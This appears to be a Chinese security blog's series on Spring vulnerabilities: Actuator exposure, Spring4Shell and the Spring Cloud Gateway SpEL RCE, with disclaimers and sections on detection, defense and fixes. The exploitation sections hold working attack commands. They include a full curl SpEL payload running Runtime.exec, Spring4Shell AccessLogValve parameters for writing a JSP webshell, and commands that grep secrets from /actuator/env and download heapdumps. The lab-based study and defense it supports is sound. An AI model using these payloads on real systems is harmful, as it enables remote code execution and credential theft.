Spring on SoulJian小站

Spring 家族漏洞速览

Sat, 29 Aug 2026 18:20:00 +0800

写在前面：合法学习边界

本文是 Spring 家族漏洞清单，用于排查与加固。相关验证只在授权环境进行。

一、为什么要把 Spring 当“家族”看

Spring 不是一个软件，而是一整套生态：核心框架、Boot、Cloud、Data、Security、Session…每个分支都可能出问题。渗透测试时识别到 Spring 技术栈，就要按分支逐个排查。

二、各分支主要漏洞

1. Spring Framework（核心）

1
2
3


Spring4Shell（CVE-2022-22965）：数据绑定 → RCE
影响：5.3.0-5.3.17、5.2.0-5.2.19，JDK9+
修复：升级 5.3.18+/5.2.20+，禁用 class.* 绑定

2. Spring Cloud Gateway

1
2
3
4


SpEL 注入 RCE（CVE-2022-22947）
影响：3.1.0-3.1.1、3.0.0-3.0.6
修复：升级 3.1.2+/3.0.7+，认证 /actuator/gateway
详见本站 Spring Cloud Gateway 篇

3. Spring Data

1
2
3


SpEL 注入（CVE-2022-22950）：对不可信数据做 SpEL 求值
影响：Spring Data Commons 相关版本
修复：升级并避免对不可信输入求值

4. Spring Boot Actuator

1
2
3


管理端点未认证 → 信息泄露/组合 RCE
修复：生产关闭端点、加认证、最小化暴露
详见本站 Actuator 篇

5. Spring Security

1
2


配置不当：放行敏感接口、默认凭据、CORS 配置错误
修复：白名单 + 权限校验 + 审计

6. Spring Session / Spring MVC

1
2


会话固定、数据绑定过度、模板注入（视版本）
修复：升级 + 加固配置

三、渗透测试排查顺序

1
2
3
4
5


1. 指纹：识别 Spring Boot/Cloud/框架版本
2. 先扫 /actuator 系列端点
3. 确认版本后逐个核对已知 CVE
4. 有 gateway 端点 → 试 SpEL 注入
5. 有数据绑定接口 → 试 class.module（Spring4Shell）

四、修复与加固清单

1
2
3
4
5


统一升级 Spring 生态到安全版本
Actuator 生产禁用 + 认证
禁止 class.* 等危险属性绑定
WAF 拦截 SpEL/数据绑定关键字
对 Spring 组件做资产登记与版本监控

排查操作步骤

1
2
3
4
5


第 1 步：指纹识别 Spring 分支与版本
第 2 步：先扫 /actuator 系列端点
第 3 步：对版本核对已知 CVE（见上表）
第 4 步：有 gateway 端点试 SpEL；有数据绑定试 Spring4Shell
第 5 步：按表修复并复测

五、小结

Spring 家族漏洞“多而分散”，但排查思路是统一的：先指纹定版本，再按分支核对漏洞。把 Framework、Cloud Gateway、Boot Actuator、Data 分开记，就不会在“是哪个 Spring 出的问题”上打转。

Spring Boot Actuator 信息泄露与未授权访问

Sat, 29 Aug 2026 18:10:00 +0800

写在前面：合法学习边界

Actuator 端点利用只允许在授权环境进行。读取真实系统的密钥、dump 内存可能触犯法律。

一、漏洞原理

Spring Boot Actuator 默认暴露一系列管理端点，用于健康检查、配置查看、指标等。如果生产环境未认证就把端点暴露到公网，就变成信息泄露甚至 RCE 入口。

常见端点：

1
2
3
4
5
6
7
8


/actuator # 端点列表
/actuator/env # 环境变量与配置（可能含密钥）
/actuator/heapdump # 堆内存 dump（可提取密码/Token）
/actuator/mappings # 接口列表
/actuator/beans # Bean 信息
/actuator/configprops
/actuator/jolokia # JMX 访问（可组合 RCE）
/actuator/gateway # 网关路由（配合 SpEL RCE）

二、影响与危害

1
2
3
4


数据库密码、AK/SK、Token 泄露
堆内存 dump 提取敏感凭据
接口信息暴露，扩大攻击面
组合端点直接 RCE（jolokia、gateway）

风险等级：高到严重。

三、利用 / 复现

端点枚举

1
2
3
4
5


curl http://目标/actuator
curl http://目标/actuator/env
curl http://目标/actuator/health
curl http://目标/actuator/mappings
curl http://目标/actuator/beans

提取密钥

1
2
3
4


# 环境变量/配置里的密码与 token
curl http://目标/actuator/env | grep -iE 'password|secret|key|token'
# heapdump 下载后用工具分析
curl -o heap.hprof http://目标/actuator/heapdump

组合 RCE

1
2


jolokia：通过 JMX 执行操作（历史上有 RCE 链）
gateway：Spring Cloud Gateway 的 /actuator/gateway 路由注入 SpEL（见本站 Spring Cloud Gateway 篇）

复现操作步骤

1
2
3
4


第 1 步：探测 /actuator 与子端点（env/heapdump/mappings/beans）
第 2 步：env 里 grep 密钥关键字；heapdump 下载分析
第 3 步：有 gateway 端点 → 试 SpEL 路由注入
第 4 步：能读到密钥或执行命令 → 确认信息泄露/RCE

四、检测

1
2
3
4


探测 /actuator 及常见子端点是否存在
响应中泄露配置/堆栈/端点信息
日志中访问 /actuator 的异常来源
指纹确认 Spring Boot 版本

五、防御

1
2
3
4


生产环境禁用 Actuator 或仅内网访问
对端点加认证（management.endpoints.web.exposure.include 最小化）
敏感端点（env/heapdump）单独关闭
网关/外网隔离管理端口

六、修复

1
2
3
4


配置 management.endpoints.enabled-by-default=false，只开必要端点
添加 Spring Security 保护 /actuator/**
清理已泄露的密钥并轮换
修复后复测：未认证访问被拒

七、小结

Spring Boot 的 Actuator 是“双刃剑”：运维方便，暴露即灾难。它是 Spring 家族里最常见的信息泄露面，渗透时先扫 /actuator，防守时先关端点、再加认证。

Spring4Shell 复现（CVE-2022-22965）

Sat, 29 Aug 2026 18:00:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Spring4Shell 可直接控制服务器，禁止对真实系统使用。

一、漏洞原理

Spring4Shell（CVE-2022-22965）是 Spring Framework 核心的 RCE 漏洞，利用的是 Spring MVC/WebFlux 的数据绑定机制。

原理链路：

1
2
3
4


1. 请求参数通过数据绑定写入 POJO 属性
2. 绑定器（BeanWrapper）允许访问 class.module.classLoader 等敏感属性（JDK9+）
3. 攻击者借此修改 Tomcat 的 AccessLogValve 配置
4. 让 Tomcat 把请求写入 JSP 文件 → 访问即执行 → RCE

影响版本与条件：

1
2
3


Spring Framework 5.3.0 – 5.3.17
Spring Framework 5.2.0 – 5.2.19
要求：JDK 9+、Spring MVC/WebFlux、部署在 Tomcat

二、影响与危害

1
2
3


远程代码执行（RCE）
服务器被完全控制
写 WebShell、反弹 Shell、内网横向

风险等级：严重。和 Log4Shell 并列的 2022 年高危漏洞。

三、利用 / 复现

环境准备

1
2


# Spring4Shell 靶场（Tomcat + JDK8 不行，需 JDK9+）
docker run -d -p 8080:8080 --name s4s vulhub/spring-4shell:jdk9

手工验证（关键参数）

构造一组数据绑定参数，把 Tomcat AccessLogValve 的日志写到可执行目录：

1
2
3
4
5


class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP内容>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=/usr/local/tomcat/webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

再用 curl 发一个带 cmd 的请求，让日志把命令写入 JSP：

1
2


curl -X POST http://127.0.0.1:8080/xxxx?cmd=id \
 --data-urlencode 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=...' ...

访问生成的 shell.jsp 即可执行命令。

常用工具

1

python3 spring4shell.py（自动打）

复现操作步骤

1
2
3
4


第 1 步：确认环境（Spring MVC + JDK9+ + Tomcat）
第 2 步：构造 class.module.classLoader... 参数 POST 到绑定点
第 3 步：发送带 cmd 的请求，让 AccessLogValve 写入 JSP
第 4 步：访问生成的 shell.jsp —— 命令回显即 RCE

四、检测

1
2
3
4


日志/流量中找 class.module.classLoader 关键字
AccessLogValve 相关参数（pipeline.first.pattern/suffix）
web 目录出现非业务 .jsp 文件
Spring 版本指纹 + JDK 版本确认

五、防御

1
2
3
4


升级 Spring Framework 到 5.3.18+ / 5.2.20+
禁用危险属性绑定（禁止 class.* 前缀）
WAF 拦截 class.module 关键字
Web 目录禁止写入

六、修复

1
2
3
4


立即升级 Spring 依赖
或配置 DataBinder 设置 allowed/disallowedFields 黑名单 class.*
清理已写入的 WebShell
修复后复测：class.module 参数被拒、不再生成文件

七、小结

Spring4Shell 的根因是数据绑定过度暴露了类内部属性。它和 Fastjson/Log4j 一样属于“组件默认行为导致 RCE”，防御核心是升级 + 禁用危险绑定 + WAF 拦截关键字。

Spring Cloud Gateway SpEL RCE 复现（CVE-2022-22947）

Sat, 29 Aug 2026 16:10:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Spring Cloud Gateway 漏洞利用影响真实服务，禁止对非授权目标使用。

一、漏洞原理

Spring Cloud Gateway 的 Actuator 提供网关路由管理端点。如果端点未认证，攻击者可以添加一条恶意路由，在路由的过滤器里写入 SpEL 表达式，Spring 在解析时会执行该表达式 → RCE。

1
2
3
4


1. POST /actuator/gateway/routes/{id} 添加恶意路由
2. 路由过滤器里带 SpEL：#{} 表达式
3. POST /actuator/gateway/refresh 触发刷新
4. 解析表达式执行命令

影响版本：

1
2
3


Spring Cloud Gateway 3.1.0 – 3.1.1
Spring Cloud Gateway 3.0.0 – 3.0.6
以及更早不安全的版本

二、影响与危害

1
2
3


远程代码执行（RCE）
Spring 应用被控制
内网横向

风险等级：严重。前提是 Actuator 网关端点暴露且未认证。

三、利用 / 复现

环境准备

1

docker run -d -p 8080:8080 --name scg vulhub/spring-cloud-gateway:CVE-2022-22947

第一步：确认端点存在

1

curl http://127.0.0.1:8080/actuator/gateway/routes

返回路由列表说明端点开放。

第二步：添加恶意路由（SpEL 注入）

1
2
3


curl -X POST http://127.0.0.1:8080/actuator/gateway/routes/hack \
 -H "Content-Type: application/json" \
 -d '{"id":"hack","filters":[{"name":"AddResponseHeader","args":{"name":"Result","value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri":"http://example.com","predicates":[{"name":"Path","args":{"_genkey_0":"/hack/**"}}]}'

第三步：刷新并触发

1
2
3
4
5
6


# 触发路由刷新
curl -X POST http://127.0.0.1:8080/actuator/gateway/refresh
# 访问路由触发执行
curl http://127.0.0.1:8080/hack/xxx
# 查看结果（回显在响应头）
curl -i "http://127.0.0.1:8080/actuator/gateway/routes/hack"

命令输出会出现在 Result 响应头里。

注意细节

1
2
3


命令数组写法避免空格问题：new String[]{"id"}
回显在响应头，不在响应体
路由 id 需要唯一

四、检测

1
2
3
4


日志中找 actuator/gateway/routes 与 refresh 请求
请求体出现 SpEL 关键字（#{}、Runtime、StreamUtils）
异常新增路由与响应头 Result
Spring 应用暴露未认证 actuator 端点

五、防御

1
2
3
4


生产环境关闭或认证 Actuator 端点
网关路由端点禁止匿名访问
WAF 拦截 SpEL 注入特征
按最小权限暴露 actuator

六、修复

1
2
3
4


升级 Spring Cloud Gateway 到 3.1.2+/3.0.7+
对 actuator 加认证与网络限制
清理已添加的恶意路由
修复后复测：SpEL 路由被拒、端点不可匿名访问

七、小结

CVE-2022-22947 提醒：Spring 的 Actuator 端点默认暴露就是风险面。测试时先扫 /actuator 相关路径，再判断有没有网关路由接口；防御核心是“端点要认证、版本要升级”。